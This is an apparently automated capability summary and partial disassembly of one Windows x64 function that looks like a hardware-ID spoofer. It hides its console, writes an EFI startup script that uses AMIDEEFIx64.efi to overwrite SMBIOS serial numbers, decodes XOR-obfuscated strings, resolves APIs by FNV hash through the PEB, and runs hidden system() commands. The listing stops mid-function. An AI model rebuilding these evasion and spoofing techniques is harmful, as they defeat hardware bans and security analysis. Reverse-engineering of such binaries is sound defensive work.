Function at 0x14005ddf0
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x40f0]
mov eax, 0x41f0
call fcn.1400db3d0
sub rsp, rax
movaps xmmword [rsp + 0x41e0], xmm6
movaps xmmword [rsp + 0x41d0], xmm7
movaps xmmword [rsp + 0x41c0], xmm8
movaps xmmword [rsp + 0x41b0], xmm9
movaps xmmword [rsp + 0x41a0], xmm10
mov rax, qword [0x14010d0c0]
xor rax, rsp
mov qword [rbp + 0x4090], rax
xor r14d, r14d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rbp + 0x3780], r14
lea r8, str.USERPROFILE
lea rdx, [rbp + 0x3788]
lea rcx, [rbp + 0x3780]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x14006bba8
mov r8, qword [rbp + 0x3780]
test r8, r8
je 0x14006bba8
mov edx, 0x104
lea rcx, [rbp + 0x3f80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, str.Desktop_startup.nsh
mov edx, 0x104
lea rcx, [rbp + 0x3f80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3790]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x3f80]
lea rcx, [rbp + 0x3790]
call fcn.140071900
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3940]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3920]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3900]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x38e0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x38c0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3c80]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x38a0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3ca0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3cc0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3ce0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3de0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3d00]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3d20]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3d40]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3e80]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3da0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3dc0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3e00]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3e40]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3e60]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x39c0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x39e0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3a00]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3f60]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3a20]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3a40]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3a60]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3a80]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3aa0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3ac0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3ae0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3b00]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3b20]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3b40]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3b60]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3b80]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3ba0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x39a0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3980]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3960]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3f40]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3f20]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3f00]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3ee0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3ec0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3d60]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3ea0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3e20]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3d80]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3c60]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3c40]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3c20]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3c00]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3be0]
call fcn.14003c3b0
nop
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x3bc0]
call fcn.14003c3b0
nop
cmp qword [rbp + 0x3818], r14
je 0x14005e68b
lea rdx, str.echo__off_n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__IVN__American_Megatrends_International__LLC.__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__SM__Micro_Star_International_Co.__Ltd.__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__SP__MS_7D22__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__SV__1.0__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea r8, [rbp + 0x3940]
lea rdx, str.AMIDEEFIx64.efi__SS
lea rcx, [rbp + 0x570]
call fcn.140072b20
nop
lea r8, [0x1400f09d0]
mov rdx, rax
lea rcx, [rbp + 0x550]
call fcn.140072780
nop
mov rdx, rax
lea rcx, [rbp + 0x3790]
call fcn.140072c80
nop
lea rcx, [rbp + 0x550]
call fcn.140071c30
nop
lea rcx, [rbp + 0x570]
call fcn.140071c30
lea rdx, str.AMIDEEFIx64.efi__SU_AUTO_n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__SK__To_Be_Filled_By_O.E.M__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__SF__To_Be_Filled_By_O.E.M.__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__BM__ASRock__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__BP__B560M_C__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__BV__1.0___n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea r8, [rbp + 0x3920]
lea rdx, str.AMIDEEFIx64.efi__BS
lea rcx, [rbp + 0x5b0]
call fcn.140072b20
nop
lea r8, [0x1400f87d4]
mov rdx, rax
lea rcx, [rbp + 0x590]
call fcn.140072780
nop
mov rdx, rax
lea rcx, [rbp + 0x3790]
call fcn.140072c80
nop
lea rcx, [rbp + 0x590]
call fcn.140071c30
nop
lea rcx, [rbp + 0x5b0]
call fcn.140071c30
lea r8, [rbp + 0x3900]
lea rdx, str.AMIDEEFIx64.efi__BT
lea rcx, [rbp + 0x5f0]
call fcn.140072b20
nop
lea r8, [0x1400f87d4]
mov rdx, rax
lea rcx, [rbp + 0x5d0]
call fcn.140072780
nop
mov rdx, rax
lea rcx, [rbp + 0x3790]
call fcn.140072c80
nop
lea rcx, [rbp + 0x5d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x5f0]
call fcn.140071c30
lea rdx, str.AMIDEEFIx64.efi__BLC__Default_string__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__CM__Gigabyte_Techology_Co.__Ltd.___n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__CV__Default_string__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea r8, [rbp + 0x38e0]
lea rdx, str.AMIDEEFIx64.efi__CS
lea rcx, [rbp + 0x630]
call fcn.140072b20
nop
lea r8, [0x1400f87d4]
mov rdx, rax
lea rcx, [rbp + 0x610]
call fcn.140072780
nop
mov rdx, rax
lea rcx, [rbp + 0x3790]
call fcn.140072c80
nop
lea rcx, [rbp + 0x610]
call fcn.140071c30
nop
lea rcx, [rbp + 0x630]
call fcn.140071c30
lea rdx, str.AMIDEEFIx64.efi__CA__Default_string__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea r8, [rbp + 0x38c0]
lea rdx, str.AMIDEEFIx64.efi__CSK
lea rcx, [rbp + 0x670]
call fcn.140072b20
nop
lea r8, [0x1400f87d4]
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.140072780
nop
mov rdx, rax
lea rcx, [rbp + 0x3790]
call fcn.140072c80
nop
lea rcx, [rbp + 0x650]
call fcn.140071c30
nop
lea rcx, [rbp + 0x670]
call fcn.140071c30
lea rdx, str.AMIDEEFIx64.efi__PSN__To_Be_Filled_By_O.E.M.__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rdx, str.AMIDEEFIx64.efi__PAT__To_Be_Filled_By_O.E.M.__n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea r8, [rbp + 0x38a0]
lea rdx, str.AMIDEEFIx64.efi__PPN
lea rcx, [rbp + 0x6b0]
call fcn.140072b20
nop
lea r8, [0x1400f87d4]
mov rdx, rax
lea rcx, [rbp + 0x690]
call fcn.140072780
nop
mov rdx, rax
lea rcx, [rbp + 0x3790]
call fcn.140072c80
nop
lea rcx, [rbp + 0x690]
call fcn.140071c30
nop
lea rcx, [rbp + 0x6b0]
call fcn.140071c30
lea rdx, str.exit_n
lea rcx, [rbp + 0x3790]
call fcn.140072810
lea rcx, [rbp + 0x3790]
call fcn.1400717a0
jmp 0x14005e69e
lea rdx, str.Error:_Unable_to_create_startup.nsh_file_on_the_desktop_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140072810
mov rcx, qword [rbp + 0x3780]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movups xmm0, xmmword [0x1400f6f80]
movups xmmword [rbp + 0x3c0], xmm0
movups xmm1, xmmword [0x1400f6f90]
movups xmmword [rbp + 0x3d0], xmm1
movups xmm0, xmmword [0x1400f6fa0]
movups xmmword [rbp + 0x3e0], xmm0
movups xmm1, xmmword [0x1400f6fb0]
movups xmmword [rbp + 0x3f0], xmm1
movups xmm0, xmmword [0x1400f6fc0]
movups xmmword [rbp + 0x400], xmm0
movups xmm1, xmmword [0x1400f6fd0]
movups xmmword [rbp + 0x410], xmm1
movups xmm0, xmmword [0x1400f6fe0]
movups xmmword [rbp + 0x420], xmm0
movups xmm1, xmmword [0x1400f6ff0]
movups xmmword [rbp + 0x430], xmm1
movsd xmm0, qword [0x1400f7000]
movsd qword [rbp + 0x440], xmm0
mov eax, dword [0x1400f7008]
mov dword [rbp + 0x448], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005e7c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005e7c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e7c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14005e7a0
cmp r8d, 0x491e0a9c
je 0x14005e7cb
test r9d, r9d
jne 0x14005e780
mov rax, qword [rax]
jmp 0x14005e750
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r14d
movdqa xmm8, xmmword [0x1400f9d10]
movdqa xmm10, xmmword [0x1400f9d50]
movdqa xmm9, xmmword [str.5555]
movdqa xmm7, xmmword [0x1400f9ce0]
movdqa xmm6, xmmword [0x1400fa020]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x14005e931
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0x3c4]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x14005e840
cmp r8d, 0x8c
jge 0x14005e973
movsxd rax, r8d
lea r9, [rbp + 0x3c0]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8c
jl 0x14005e940
lea rcx, [rbp + 0x3c0]
call r11
mov edx, 4
lea rcx, [rbp + 0x750]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x730]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f93d8]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [0x1400f93e8]
movups xmmword [rbp + 0xd8], xmm1
movsd xmm0, qword [0x1400f93f8]
movsd qword [rbp + 0xe8], xmm0
mov ecx, dword [0x1400f9400]
mov dword [rbp + 0xf0], ecx
movzx eax, byte [0x1400f9404]
mov byte [rbp + 0xf4], al
mov r8d, r14d
cmp r15d, 2
jl 0x14005eafb
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0xcc]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005ea10
cmp r8d, 0x2d
jge 0x14005eb40
movsxd rax, r8d
lea r9, [rbp + 0xc8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14005eb10
mov r8, r10
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x710]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x6f0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x258]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x6d0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x6d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x258]
call fcn.140071c30
nop
lea rcx, [rbp + 0x6f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x710]
call fcn.140071c30
nop
lea rcx, [rbp + 0x730]
call fcn.140071c30
nop
lea rcx, [rbp + 0x750]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x7f0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x7d0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f94f0]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [0x1400f9500]
movups xmmword [rbp + 0xa8], xmm1
movsd xmm0, qword [0x1400f9510]
movsd qword [rbp + 0xb8], xmm0
mov ecx, dword [str.AYDe]
mov dword [rbp + 0xc0], ecx
movzx eax, byte [0x1400f951c]
mov byte [rbp + 0xc4], al
mov r8d, r14d
cmp r15d, 2
jl 0x14005ed7b
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0x9c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005ec90
cmp r8d, 0x2d
jge 0x14005edc0
movsxd rax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14005ed90
mov r8, r10
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x7b0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x790]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x278]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x770]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x770]
call fcn.140071c30
nop
lea rcx, [rbp + 0x278]
call fcn.140071c30
nop
lea rcx, [rbp + 0x790]
call fcn.140071c30
nop
lea rcx, [rbp + 0x7b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x7d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x7f0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x890]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x870]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f7b38]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x1400f7b48]
movups xmmword [rbp + 0x78], xmm1
movsd xmm0, qword [0x1400f7b58]
movsd qword [rbp + 0x88], xmm0
mov ecx, dword [0x1400f7b60]
mov dword [rbp + 0x90], ecx
movzx eax, byte [0x1400f7b64]
mov byte [rbp + 0x94], al
mov r8d, r14d
cmp r15d, 2
jl 0x14005efec
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0x6c]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005ef01
cmp r8d, 0x2d
jge 0x14005f030
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14005f000
mov r8, r10
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x850]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x830]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x298]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x810]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x810]
call fcn.140071c30
nop
lea rcx, [rbp + 0x298]
call fcn.140071c30
nop
lea rcx, [rbp + 0x830]
call fcn.140071c30
nop
lea rcx, [rbp + 0x850]
call fcn.140071c30
nop
lea rcx, [rbp + 0x870]
call fcn.140071c30
nop
lea rcx, [rbp + 0x890]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x930]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x910]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f7b68]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [0x1400f7b78]
movups xmmword [rbp + 0x48], xmm1
movsd xmm0, qword [0x1400f7b88]
movsd qword [rbp + 0x58], xmm0
mov ecx, dword [0x1400f7b90]
mov dword [rbp + 0x60], ecx
movzx eax, byte [0x1400f7b94]
mov byte [rbp + 0x64], al
mov r8d, r14d
cmp r15d, 2
jl 0x14005f25b
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0x3c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
